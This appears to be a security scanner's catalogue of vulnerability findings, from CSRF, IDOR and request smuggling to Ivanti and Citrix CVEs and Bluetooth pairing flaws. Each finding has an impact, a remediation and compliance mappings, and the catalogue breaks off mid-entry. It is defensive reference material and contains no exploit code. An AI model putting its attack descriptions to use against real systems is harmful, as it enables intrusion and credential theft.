CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1185 (Collection), T1530 (Collection)
NIST 800-53: AC-4, SC-8
PCI DSS 4: 6.4.1, 6.5.1
HIGH FR-322 — Cross-Site Request Forgery (CSRF) — Missing Token
Description: A state-changing request (POST, PUT, PATCH, DELETE) does not include a CSRF token or other origin verification mechanism. Attackers can trick authenticated users into making unintended requests from any website.
Remediation: Implement CSRF protection using synchroniser tokens, double-submit cookies, or SameSite=Strict/Lax cookies. Verify the Origin or Referer header for same-site enforcement.
OWASP Web: A04:2025
HIGH FR-323 — Unauthenticated Access to Protected Path
Description: A path or endpoint that should require authentication returned a successful response (HTTP 200) without providing valid credentials. This allows unauthenticated users to access protected functionality or data.
Remediation: Apply authentication middleware to all protected routes. Adopt a default-deny access policy.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2025
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1190 (Initial Access), T1078 (Initial Access)
NIST 800-53: AC-3, AC-2
PCI DSS 4: 7.2.1, 8.2.1
HIGH FR-324 — Debug Mode Enabled / Developer Console Exposed
Description: A debug mode or developer console is enabled and publicly accessible. Debug interfaces may expose command execution, environment variables, stack traces, and database query information.
Remediation: Disable debug mode in production. Remove all debug endpoints and developer consoles from production deployments.
OWASP Web: A05:2025
HIGH FR-325 — Cross-User Data Leakage (IDOR)
Description: Data belonging to one user was returned when authenticated as a different user by manipulating object identifiers. This constitutes Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization (BOLA).
Remediation: Implement server-side authorisation checks on every request that accesses user-specific data. Never rely on client-supplied IDs as the sole access control mechanism.
OWASP Web: A01:2025
HIGH FR-326 — Broken Object Level Authorization (IDOR / BOLA)
Description: Object-level authorisation is insufficient. Manipulation of object identifiers (IDs, UUIDs, slugs) allows access to resources belonging to other users without being authorised.
Remediation: Validate that the authenticated user is authorised to access the requested object on every API call. Use indirect object references or verify ownership server-side.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
HIGH FR-327 — Broken Function Level Authorization (BFLA)
Description: Function-level authorisation is insufficient. A lower-privileged user can access administrative or elevated-privilege endpoints by directly requesting them.
Remediation: Implement role-based access control checks on every function/endpoint. Deny access by default and explicitly grant it based on user role.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1078 (Privilege Escalation), T1068 (Privilege Escalation)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.1
HIGH FR-328 — BFLA: Role Can Access Admin Path
Description: A lower-privileged role was able to access an administrative path. This demonstrates a broken function-level access control vulnerability.
Remediation: Restrict all admin paths to authorised roles only. Implement server-side role checks on every request to administrative endpoints.
OWASP Web: A01:2025
HIGH FR-329 — Mass Assignment / Privilege Escalation via Parameter Binding
Description: The application binds user-supplied request parameters directly to server-side objects without filtering. This allows attackers to set properties they should not be able to modify, including role, privilege, or verified status.
Remediation: Explicitly allowlist the parameters that can be bound from user input. Never bind the entire request body to a domain object without filtering.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A04:2025
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
HIGH FR-330 — API Endpoint Returns Same Data for All Users
Description: An API endpoint returns identical data regardless of the authenticated user's identity. This may indicate missing authorisation checks, allowing cross-user data leakage.
Remediation: Implement per-user data filtering at the API layer. Ensure all data responses are scoped to the authenticated user's authorised objects.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2025
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1530 (Collection), T1213 (Collection)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 7.2.1
HIGH FR-332 — Business Logic — Hidden Price/Value Field Tampering
Description: A hidden form field or request parameter controlling a monetary or critical value (e.g., price, quantity, discount) can be modified by the client to alter server-side business logic outcomes.
Remediation: Validate all price and value calculations server-side. Never trust client-supplied price or quantity fields. Recompute values from authoritative server-side data at checkout/submission.
OWASP Web: A04:2025
HIGH FR-333 — Business Logic — Numeric Field Accepts Negative/Zero Value
Description: A numeric field (e.g., quantity, amount) accepts negative or zero values that the business logic does not validate, potentially enabling free items, credit generation, or account balance manipulation.
Remediation: Implement server-side range validation for all numeric inputs. Reject negative or zero values where they are not business-valid.
OWASP Web: A04:2025
HIGH FR-334 — Business Logic — Potential Race Condition (Duplicate Submission)
Description: Rapid concurrent submissions of the same request produce responses suggesting duplicate processing. A race condition may allow double-spending, duplicate coupon redemption, or bypassing single-use controls.
Remediation: Implement idempotency tokens for state-changing requests. Use database-level transactions and atomic operations to prevent race conditions.
OWASP Web: A04:2025
HIGH FR-335 — Business Logic — Workflow Step Directly Accessible
Description: A multi-step workflow step is directly accessible without completing preceding steps. This allows skipping of security controls, validation steps, or payment steps in the workflow.
Remediation: Enforce workflow state server-side. Verify that all prerequisite steps have been completed before allowing access to subsequent steps. Use server-side state machine validation.
OWASP Web: A04:2025
HIGH FR-338 — Public Exploit Available
Description: A public exploit was found matching an identified software component or version. The existence of a public exploit significantly lowers the bar for an attacker to successfully compromise the application.
Remediation: Apply the relevant security patch or upgrade the affected software component immediately. If patching is not immediately possible, implement compensating controls.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2025
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
HIGH FR-339 — Information Disclosure: Credentials in URL Query Parameters
Description: Credentials or session tokens were found transmitted in URL query parameters. URL query parameters are stored in browser history, web server logs, and HTTP referer headers, leading to inadvertent credential exposure.
Remediation: Transmit credentials exclusively in the HTTP request body or Authorization header. Never include sensitive values in URLs.
OWASP Web: A02:2025
HIGH FR-405 — BFLA: Role '{low_role}' Can Access Admin Path
Description: A lower-privileged role can access an administrative endpoint that should be restricted to higher-privilege roles, indicating a Broken Function Level Authorization (BFLA) vulnerability.
Impact: An attacker with a low-privilege account can access administrative functionality, potentially managing users, configurations, or sensitive data beyond their intended authorization level.
Remediation: Implement server-side role-based access control checks on all administrative endpoints. Deny access for roles below the required privilege level and return 403 Forbidden.
Effort: Moderate
OWASP Web: A01:2025 Broken Access Control
OWASP API: API5:2023 Broken Function Level Authorization
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.2
HIGH FR-408 — HTTP Request Smuggling — CL.0 Client-Side Desync
Description: The server is vulnerable to CL.0 client-side desync, a variant of HTTP request smuggling where the server ignores a Content-Length header on requests to specific endpoints, causing the connection to desynchronize.
Impact: An attacker can poison the connection between a victim's browser and the server, hijacking subsequent requests to steal credentials, bypass access controls, or deliver malicious responses to other users.
Remediation: Ensure all server components and reverse proxies consistently handle Content-Length headers. Disable HTTP/1.1 connection reuse where not required, or upgrade to HTTP/2 end-to-end.
Effort: Significant
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SI-10, SC-7
HIGH FR-409 — HTTP Request Smuggling — CL.TE Desync
Description: The front-end server uses Content-Length while the back-end uses Transfer-Encoding, allowing an attacker to smuggle a second request within the body of the first.
Impact: An attacker can bypass security controls, poison web caches, hijack other users' requests, or escalate privileges by injecting malicious requests that bypass the front-end proxy.
Remediation: Ensure all servers in the chain use the same method to determine request boundaries. Configure the front-end to normalize ambiguous requests and reject those with both CL and TE headers.
Effort: Significant
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10, SC-7
HIGH FR-410 — HTTP Request Smuggling — TE Obfuscation Desync
Description: The server is vulnerable to Transfer-Encoding obfuscation, where variations of the TE header (e.g., extra whitespace, line folding, chunked1) cause front-end and back-end to disagree on request boundaries.
Impact: An attacker can exploit TE header parsing differences to smuggle requests past the front-end, enabling cache poisoning, request hijacking, and access control bypass.
Remediation: Reject requests with obfuscated Transfer-Encoding headers. Ensure all proxies and servers normalize and validate TE headers identically.
Effort: Significant
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10, SC-7
HIGH FR-411 — HTTP Request Smuggling — TE.CL Desync
Description: The front-end server uses Transfer-Encoding while the back-end uses Content-Length, allowing an attacker to smuggle a second request by manipulating chunked encoding boundaries.
Impact: An attacker can bypass security controls, poison web caches, hijack other users' requests, or escalate privileges by injecting malicious requests past the front-end proxy.
Remediation: Ensure all servers in the chain agree on request boundary determination. Configure back-end servers to prefer Transfer-Encoding over Content-Length, or reject ambiguous requests.
Effort: Significant
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10, SC-7
HIGH FR-412 — Host-Header SSRF Surface ({label})
Description: The application reflects or acts upon the Host header value in server-side operations, creating a potential Server-Side Request Forgery (SSRF) attack surface via host header injection.
Impact: An attacker can manipulate the Host header to redirect internal server requests to attacker-controlled infrastructure, potentially accessing internal services, exfiltrating data, or bypassing authentication mechanisms.
Remediation: Validate the Host header against an allowlist of expected hostnames. Do not use the Host header value in server-side URL construction or redirect logic.
Effort: Moderate
OWASP Web: A10:2025 Server-Side Request Forgery
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SI-10, AC-4
HIGH FR-413 — JWT Signing Secret Brute-Force Recovered ({alg})
Description: The JWT signing secret was recovered through brute-force or dictionary attack, allowing an attacker to forge valid tokens with arbitrary claims.
Impact: An attacker can create forged JWT tokens with elevated privileges, impersonate any user, bypass authentication entirely, and gain unauthorized access to all application functionality.
Remediation: Use a cryptographically strong random secret (256+ bits of entropy) for HMAC-based JWT signing. Consider switching to asymmetric signing (RS256/ES256) where the private key never leaves the server.
Effort: Easy
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: IA-5, SC-12
PCI DSS 4: 8.3.6
HIGH FR-418 — Reflected Cross-Site Scripting (XSS) — POST Parameter
Description: A POST request parameter is reflected in the server's response without proper output encoding, allowing injection of malicious JavaScript that executes in the victim's browser context.
Impact: An attacker can craft a malicious form submission that, when submitted by a victim, executes arbitrary JavaScript in their browser. This enables session hijacking, credential theft, account takeover, and delivery of malicious content.
Remediation: Implement context-aware output encoding for all user-supplied data reflected in HTML responses. Use Content-Security-Policy to mitigate residual XSS risks.
Effort: Moderate
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-423 — Vulnerable Component: {pname} {version}
Description: A third-party software component with known vulnerabilities was identified in the application's technology stack. The specific component name and version are in the finding title.
Impact: Known vulnerabilities in third-party components can be exploited by attackers using publicly available exploit code. Impact ranges from information disclosure to remote code execution depending on the specific vulnerability.
Remediation: Update the identified component to the latest patched version. If an update is not available, evaluate compensating controls or consider replacing the component with a maintained alternative.
Effort: Moderate
OWASP Web: A06:2025 Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.1
HIGH FR-432 — Server-Side Prototype Pollution
Description: The application processes JSON input containing __proto__ or constructor.prototype properties, allowing modification of object prototypes.
Impact: An attacker can inject properties into all JavaScript objects on the server, potentially achieving RCE, privilege escalation, or denial of service.
Remediation: Sanitize JSON input to strip __proto__ and constructor keys, or use Object.create(null) for parsed objects.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-435 — Edge Side Include (ESI) Injection
Description: The application reflects user input through an ESI-capable cache layer, allowing injection of ESI include directives.
Impact: An attacker can perform SSRF through the cache layer, access internal services, or steal cached content from other users.
Remediation: Sanitize all user input to strip ESI tags, or disable ESI processing on the caching layer for user-controlled content.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-436 — Email Header Injection
Description: A contact or email form accepts CRLF sequences in input fields, allowing injection of additional email headers.
Impact: An attacker can inject Bcc/Cc headers to use the application as a spam relay, or modify email content for phishing.
Remediation: Strip or reject CRLF sequences in all fields used to construct email headers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-437 — Unicode Normalization Bypass in Authentication
Description: The login form processes Unicode lookalike characters differently than expected, potentially mapping them to valid usernames.
Impact: An attacker can bypass authentication controls by submitting visually similar Unicode characters that normalize to a valid account name.
Remediation: Apply Unicode NFKC normalization consistently before all authentication comparisons, and reject non-ASCII usernames if not expected.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: IA-5
PCI DSS 4: 8.3.1
HIGH FR-438 — WebSocket Endpoint Missing Authentication
Description: A WebSocket endpoint accepts upgrade requests without requiring authentication credentials.
Impact: An attacker can connect to the WebSocket and access real-time data or perform actions without authenticating.
Remediation: Require authentication tokens or session cookies during the WebSocket upgrade handshake.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: IA-9
PCI DSS 4: 8.3.1
HIGH FR-440 — WebSocket Message Injection (XSS)
Description: The WebSocket endpoint reflects user-supplied message content without sanitization, enabling script injection.
Impact: An attacker can inject malicious scripts through WebSocket messages that execute in other connected clients' browsers.
Remediation: Sanitize all WebSocket message content before rendering in the client, and implement server-side input validation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-441 — Web Cache Deception
Description: Appending a static file extension to authenticated URLs causes the CDN/proxy to cache and serve sensitive content publicly.
Impact: An attacker can trick users into visiting crafted URLs, causing their authenticated page content to be cached and retrievable by anyone.
Remediation: Configure the cache to respect Cache-Control headers and never cache responses based solely on URL extension; use Vary headers appropriately.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-28
HIGH FR-442 — OAuth redirect_uri Open Redirect
Description: The OAuth authorization endpoint does not strictly validate the redirect_uri parameter, allowing redirection to attacker-controlled domains.
Impact: An attacker can steal authorization codes or tokens by redirecting users to a malicious callback URL.
Remediation: Enforce exact-match validation of redirect_uri against pre-registered values.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1556 (Credential Access)
NIST 800-53: IA-8
HIGH FR-444 — Information Disclosure: OAuth Token via URL
Description: The OAuth implementation uses the implicit flow, placing access tokens in URL fragments.
Impact: Access tokens can be stolen via browser history, proxy logs, or Referer header leakage to third-party resources.
Remediation: Migrate from the implicit flow to the authorization code flow with PKCE; never expose tokens in URLs.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-12
HIGH FR-445 — OAuth Scope Escalation
Description: The OAuth authorization server grants elevated scopes beyond what the client originally requested.
Impact: An attacker can obtain tokens with broader permissions than intended.
Remediation: Enforce strict scope validation on the authorization server; only grant explicitly requested and pre-approved scopes.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025 Broken Access Control
NIST 800-53: AC-6
HIGH FR-454 — h2c Smuggling — Internal Endpoint Accessible
Description: An internal endpoint that is blocked at the proxy level becomes accessible when requested via an h2c upgrade connection.
Impact: An attacker can access admin panels, monitoring dashboards, or internal APIs by tunneling through the h2c upgrade.
Remediation: Block h2c upgrades at the reverse proxy and implement authentication on all internal endpoints regardless of network position.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: AC-3
PCI DSS 4: 1.3.1
HIGH FR-457 — Authorization Gaps — Unauthenticated Access to Restricted Paths
Description: Administrative or restricted paths are accessible without authentication, indicating missing or misconfigured access controls.
Impact: An attacker can access administrative functions, sensitive data, or configuration interfaces without valid credentials, potentially leading to full application compromise.
Remediation: Implement proper access controls on all administrative and restricted paths. Deny access by default and require authentication and appropriate authorization.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A01:2025 Broken Access Control
OWASP API: API1:2023 Broken Object Level Authorization
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
HIGH FR-466 — Log File Publicly Accessible
Description: The web server exposes log file(s) to unauthenticated users. Log files commonly contain internal IP addresses, stack traces, usernames, session tokens, SQL queries, and file system paths. CWE-532, CWE-200.
Impact: Attackers can harvest internal paths, database query patterns, user data, session tokens, and credentials from exposed log files. This information enables targeted exploitation of backend systems, privilege escalation, and lateral movement.
Remediation: Remove log files from web-accessible directories. Configure web servers to deny access to log file extensions (.log). Move log storage outside the document root. In Apache: <FilesMatch ".log$"> Require all denied </FilesMatch>. In nginx: location ~* \.log$ { deny all; }.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: SI-11
PCI DSS 4: 6.2.4
HIGH FR-471 — Exposed Admin/Debug Endpoint: /_ray/api/health
Description: Spatie Ray debug tool is accessible at /_ray/api/health. Ray allows remote code inspection and can expose application internals in production.
Impact: Attackers can inspect application state, variables, queries, and stack traces through the Ray debug interface, gaining deep application knowledge for exploitation.
Remediation: Remove Spatie Ray from production. Restrict debug tools to development environments only.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A09:2025 Security Logging and Monitoring Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AU-9
PCI DSS 4: 6.2.4
HIGH FR-472 — Exposed Admin/Debug Endpoint: Express.js Default Error
Description: Express.js default error handler returns stack traces to clients, disclosing file paths, module versions, and application structure.
Impact: Stack traces reveal internal file paths, module names, and line numbers that attackers use to plan targeted exploitation of known framework vulnerabilities.
Remediation: Implement custom error handlers in Express.js. Set NODE_ENV=production to suppress stack traces. Never return error details to clients.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A09:2025 Security Logging and Monitoring Failures
NIST 800-53: SI-11
PCI DSS 4: 6.2.4
HIGH FR-479 — Exposed Admin/Debug Endpoint: /_ignition/execute-solution
Description: Laravel Ignition execute-solution endpoint is accessible, potentially enabling remote code execution via CVE-2021-3129.
Impact: CVE-2021-3129 allows unauthenticated RCE through the Ignition execute-solution endpoint by chaining log file manipulation with PHP deserialization.
Remediation: Upgrade Laravel Ignition to a patched version. Remove debug tools from production. Set APP_DEBUG=false.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A09:2025 Security Logging and Monitoring Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CISA KEV
HIGH FR-482 — Expired TLS Certificate Detected
Description: The TLS certificate presented by the server has passed its notAfter date and is no longer valid. Expired certificates break trust chain validation and cause browser warnings, which train users to bypass security prompts. An expired certificate may also indicate a forgotten or unmaintained service.
Impact: Users encounter certificate warnings and may click through them, normalizing the bypass of TLS trust validation. An attacker could perform a man-in-the-middle attack more easily when users are conditioned to ignore certificate errors. The expired certificate may also indicate the service is unmaintained and potentially vulnerable.
Remediation: Renew the TLS certificate immediately through the issuing Certificate Authority. Configure automated certificate renewal (e.g. via certbot/ACME) and monitoring alerts for certificates approaching expiration.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-12, SC-17
PCI DSS 4: 4.2.1
HIGH FR-485 — Revoked TLS Certificate Detected
Description: The TLS certificate presented by the server has been revoked by its issuing Certificate Authority. Certificate revocation typically occurs due to key compromise, CA compromise, or administrative decommission. A revoked certificate should not be trusted for any purpose.
Impact: A revoked certificate may indicate that the private key was compromised, potentially allowing an attacker to impersonate the server. Clients that check CRL/OCSP will reject the connection, but not all clients perform revocation checking, leaving some users vulnerable to man-in-the-middle attacks using the compromised key.
Remediation: Replace the revoked certificate immediately with a new certificate from a trusted CA. Investigate the reason for revocation — if key compromise is suspected, generate a new key pair. Rotate any credentials or secrets that may have been exposed.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-12, SC-17
PCI DSS 4: 4.2.1
HIGH FR-487 — Ivanti Cloud Services Appliance (CSA) Detected
Description: The TLS certificate fingerprint identifies this host as an Ivanti Cloud Services Appliance (CSA). Ivanti CSA has been the target of multiple critical actively-exploited zero-day vulnerabilities including path traversal (CVE-2024-8963), SQL injection (CVE-2024-9379), OS command injection (CVE-2024-8190), and another OS command injection (CVE-2024-9380).
Impact: An attacker can chain these vulnerabilities to achieve unauthenticated remote code execution on the CSA appliance. Successful exploitation provides full administrative access to the appliance and the ability to pivot into the internal network. CISA has issued emergency directives for these vulnerabilities.
Remediation: Verify the Ivanti CSA is running the latest patched firmware version. Apply all available security patches immediately. If running CSA 4.6, migrate to CSA 5.0 as version 4.6 has reached end-of-life. Monitor CISA KEV catalogue for new Ivanti advisories.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access), T1133 (Persistence)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
CISA KEV
HIGH FR-488 — Pulse Secure / Ivanti Connect Secure VPN Detected
Description: The TLS certificate fingerprint identifies this host as a Pulse Secure / Ivanti Connect Secure VPN appliance. This product line has been the target of critical zero-day exploitation including authentication bypass (CVE-2023-46805) and command injection (CVE-2024-21887), which were chained for unauthenticated RCE.
Impact: An attacker can exploit known vulnerabilities to bypass authentication and execute arbitrary commands on the VPN appliance, gaining access to the internal network. VPN appliances are high-value targets as they provide direct access to corporate networks and are internet-facing by design.
Remediation: Verify the Ivanti Connect Secure appliance is running the latest patched firmware. Apply vendor mitigation XML and patches as directed by Ivanti advisories. Run the Ivanti Integrity Checker Tool (ICT) to detect signs of compromise. Consider factory-resetting the appliance if compromise is suspected.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access), T1133 (Persistence)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
CISA KEV
HIGH FR-490 — Citrix NetScaler / ADC Detected
Description: The TLS certificate fingerprint identifies this host as a Citrix NetScaler or ADC appliance. Citrix ADC has been the target of critical zero-day exploitation including CVE-2023-4966 ('Citrix Bleed', session token leakage) and CVE-2023-3519 (unauthenticated RCE).
Impact: An attacker can exploit Citrix Bleed (CVE-2023-4966) to steal valid session tokens without authentication, bypassing MFA and gaining access to internal resources. CVE-2023-3519 allows unauthenticated remote code execution on the appliance itself. Both were widely exploited in the wild by ransomware operators.
Remediation: Apply Citrix security patches immediately. After patching Citrix Bleed, terminate all active sessions and rotate all credentials — the patch does not invalidate stolen session tokens. Run Citrix-provided IoC scanning tools to check for compromise.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
HIGH FR-503 — Blind Command Injection (Time-Based) — commix
Description: commix detected blind OS command injection via time-based techniques. The application's response time varied when time-delay payloads (e.g., sleep) were injected, indicating that user input is incorporated into operating system commands. While output is not directly reflected, the time-delay confirmation proves command execution occurs on the server.
Impact: Blind command injection is exploitable for full remote code execution even though command output is not returned in the response. An attacker can exfiltrate data character-by-character via time-based inference, establish out-of-band channels (DNS, HTTP callbacks), or write webshells to achieve interactive access. The impact is equivalent to confirmed command injection, with only exploitation complexity increased.
Remediation: Use parameterized OS commands or language-native APIs instead of shell execution. Never concatenate user input into shell commands. Apply strict input validation with allowlists. Use subprocess calls with argument arrays instead of shell=True.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4, 6.5.1
HIGH FR-504 — Web Cache Poisoning
Description: toxicache confirmed that the web cache can be poisoned. An unkeyed input (such as an HTTP header not included in the cache key) is reflected in the cached response. An attacker can send a request with a malicious header value, which gets cached and then served to all subsequent users requesting the same URL.
Impact: Web cache poisoning allows an attacker to serve malicious content to all users of the affected URL via the CDN or reverse proxy cache. This can be used for stored XSS (injecting JavaScript via unkeyed headers), phishing (redirecting users to attacker-controlled pages), denial of service (caching error responses), and defacement. The attack scales to all users because the poisoned response is served from cache.
Remediation: Configure the cache to key on all security-relevant headers. Remove or normalize unkeyed headers before caching. Implement cache-control headers (no-store for sensitive pages). Validate and sanitize all input reflected in responses, including HTTP headers. Use Vary headers to include all inputs that affect the response.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SI-10
PCI DSS 4: 6.2.4
HIGH GB-BT-005 — Sensitive Identifier Broadcast in Advertising Data
Description: The device broadcasts a serial number, patient identifier, or other per-unit token in its advertising name or manufacturer-specific data, in the clear.
Impact: A stable unique identifier in advertising defeats address privacy (the string becomes the tracking key) and discloses asset/patient information to any passive listener in range.
Remediation: Remove serials and patient identifiers from the advertised device name and manufacturer data; expose per-unit IDs only via an authenticated, bonded GATT read; consider BT 5.4 Encrypted Advertising Data.
HIGH GB-BT-006 — Just Works Pairing — No MITM Protection
Description: The device negotiated Just Works pairing (SMP MITM-protection bit = 0, or an IO capability of NoInputNoOutput on either side), which provides no man-in-the-middle protection.
Impact: An active attacker in radio range can interpose during pairing and relay or modify the entire connection, because Just Works authenticates neither party.
Remediation: Provision real IO capability and set the MITM bit (LESC Numeric Comparison or Passkey Entry); where no IO exists, use OOB pairing or an app-layer authenticated channel.
NIST 800-53: IA-2, SC-8
HIGH GB-BT-007 — LE Legacy Pairing — Passively Decryptable
Description: The device negotiated LE Legacy pairing (SMP Secure Connections bit = 0). Legacy derives the session key from a weak Temporary Key (Just Works TK=0; Passkey Entry TK is a ~20-bit value).
Impact: A passively-sniffed pairing can be decrypted offline with crackle, recovering the Long-Term Key and all past and future bonded traffic for that pair.
Remediation: Require LE Secure Connections (ECDH P-256); reject SC=0 on any hardware that supports LESC (BLE 4.2+).
NIST 800-53: SC-8, SC-13
HIGH GB-BT-008 — Static or Reused BLE Passkey
Description: The device authenticates LE Secure Connections pairing with a static or reused 6-digit passkey — printed on the enclosure, embedded in firmware/manual, or identical across units — rather than a fresh random per-pairing value.
Impact: A hard-coded or shared passkey defeats the MITM protection of LESC Passkey Entry: anyone who can read the printed/documented value can complete an authenticated man-in-the-middle relay, reducing LESC to Just Works in practice.
Remediation: Use a fresh, random, per-pairing passkey that is never hard-coded, printed, or reused across units; prefer Numeric Comparison or OOB where the UI allows.
NIST 800-53: IA-5
HIGH GB-BT-009 — Bluetooth Pairing Method Confusion
